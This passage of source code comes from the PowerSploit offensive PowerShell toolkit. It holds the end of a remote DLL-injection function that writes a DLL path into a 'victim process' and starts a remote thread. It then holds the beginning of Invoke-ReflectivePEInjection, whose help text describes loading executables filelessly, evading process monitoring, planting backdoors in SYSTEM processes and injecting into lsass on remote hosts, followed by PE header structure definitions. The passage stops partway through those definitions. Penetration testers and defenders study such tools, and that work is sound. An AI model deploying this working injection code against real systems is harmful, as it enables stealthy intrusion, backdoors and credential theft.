$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$RtlCreateUserThreadAddr = Get-ProcAddress ntdll.dll RtlCreateUserThread
$RtlCreateUserThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
$RtlCreateUserThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RtlCreateUserThreadAddr, $RtlCreateUserThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $True
}
else
{
$PowerShell32bit = $False
}
if (${Env:ProgramFiles(x86)}) {
$64bitOS = $True
} else {
$64bitOS = $False
}
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
$Architecture = Get-PEArchitecture $Dll
Write-Verbose "Architecture of the dll to be injected: $Architecture"
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw 'Unable to open process handle.'
}
if ($64bitOS) # Only perform theses checks if OS is 64-bit
{
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
{
Throw 'Only x86 or AMD64 architechtures supported.'
}
# Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
$IsWow64 = $False
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
{
Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
}
if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
{
Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
}
if ( $IsWow64 -and ($Architecture -eq 'X64') )
{
Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
}
}
else
{
if ($Architecture -ne 'X86')
{
Throw 'PE file was not compiled for x86.'
}
}
# Get address of LoadLibraryA function
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
# Reserve and commit memory to hold name of dll
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero)
{
Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'
}
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write the name of the dll to the remote process address space
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
Write-Verbose "Dll path written sucessfully."
# Execute dll as a remote thread
$Result = $RtlCreateUserThread.Invoke($hProcess, [IntPtr]::Zero, $False, 0, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAddr, $RemoteMemAddr, [IntPtr]::Zero, [IntPtr]::Zero)
if ($Result)
{
Throw "Unable to launch remote thread. NTSTATUS: 0x$($Result.ToString('X8'))"
}
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Start-Sleep -Seconds 2
# Extract just the filename from the provided path to the dll.
$FileName = (Split-Path $Dll -Leaf).ToLower()
$DllInfo = (Get-Process -Id $ProcessID).Modules | Where-Object { $_.FileName.ToLower().Contains($FileName) }
if (!$DllInfo)
{
Throw "Dll did dot inject properly into the victim process."
}
Write-Verbose 'Dll injection complete!'
$DllInfo
}
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection.ps1
================================================
function Invoke-ReflectivePEInjection
{
<#
.SYNOPSIS
This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them.
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
this will load and execute the DLL/EXE in to memory without writing any files to disk.
2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
remote process.
PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
Code review and modifications: Matt Graeber, Twitter: @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
.PARAMETER PEBytes
A byte array containing a DLL/EXE to load and execute.
.PARAMETER ComputerName
Optional, an array of computernames to run the script on.
.PARAMETER FuncReturnType
Optional, the return type of the function being called in the DLL. Default: Void
Options: String, WString, Void. See notes for more information.
IMPORTANT: For DLLs being loaded remotely, only Void is supported.
.PARAMETER ExeArgs
Optional, arguments to pass to the executable being reflectively loaded.
.PARAMETER ProcName
Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
.PARAMETER ProcId
Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
.PARAMETER ForceASLR
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
loading in to a remote process.
.PARAMETER DoNotZeroMZ
Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.
.EXAMPLE
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local
.EXAMPLE
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
the wchar_t* returned by WStringFunc() from all the computers.
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
.EXAMPLE
Load DemoEXE and run it locally.
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
.EXAMPLE
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
.EXAMPLE
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local
.NOTES
GENERAL NOTES:
The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process
-Can return DLL output to user when run remotely or locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running pentest tools on remote computers without triggering process monitoring alerts.
-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
2.) Reflectively load an EXE in to the PowerShell process.
-Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
3.) Reflectively inject a DLL in to a remote process.
-Can NOT return DLL output to the user when run remotely OR locally.
-Does NOT clean up memory in the remote process if/when DLL finishes execution.
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
DLL LOADING NOTES:
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.
For DLL Loading:
Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
wchar_t* : FuncReturnType = WString
char* : FuncReturnType = String
void : Default, don't supply a FuncReturnType
For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
WString : WStringFunc
String : StringFunc
Void : VoidFunc
These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
be declared as follows:
extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
.LINK
http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSPossibleIncorrectComparisonWithNull', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[Byte[]]
$PEBytes,
[Parameter(Position = 1)]
[String[]]
$ComputerName,
[Parameter(Position = 2)]
[ValidateSet( 'WString', 'String', 'Void' )]
[String]
$FuncReturnType = 'Void',
[Parameter(Position = 3)]
[String]
$ExeArgs,
[Parameter(Position = 4)]
[Int32]
$ProcId,
[Parameter(Position = 5)]
[String]
$ProcName,
[Switch]
$ForceASLR,
[Switch]
$DoNotZeroMZ
)
Set-StrictMode -Version 2
$RemoteScriptBlock = {
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[String]
$FuncReturnType,
[Parameter(Position = 2, Mandatory = $true)]
[Int32]
$ProcId,
[Parameter(Position = 3, Mandatory = $true)]
[String]
$ProcName,
[Parameter(Position = 4, Mandatory = $true)]
[Bool]
$ForceASLR
)
###################################
########## Win32 Stuff ##########
###################################
Function Get-Win32Types
{
$Win32Types = New-Object System.Object
#Define all the structures/enums that will be used
# This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
############ ENUM ############
#Enum MachineType
$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
$MachineType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
#Enum MagicType
$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
$MagicType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
#Enum SubSystemType
$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
$SubSystemType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
#Enum DllCharacteristicsType
$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
$DllCharacteristicsType = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
########### STRUCT ###########
#Struct IMAGE_DATA_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
#Struct IMAGE_FILE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
#Struct IMAGE_OPTIONAL_HEADER64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
#Struct IMAGE_OPTIONAL_HEADER32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
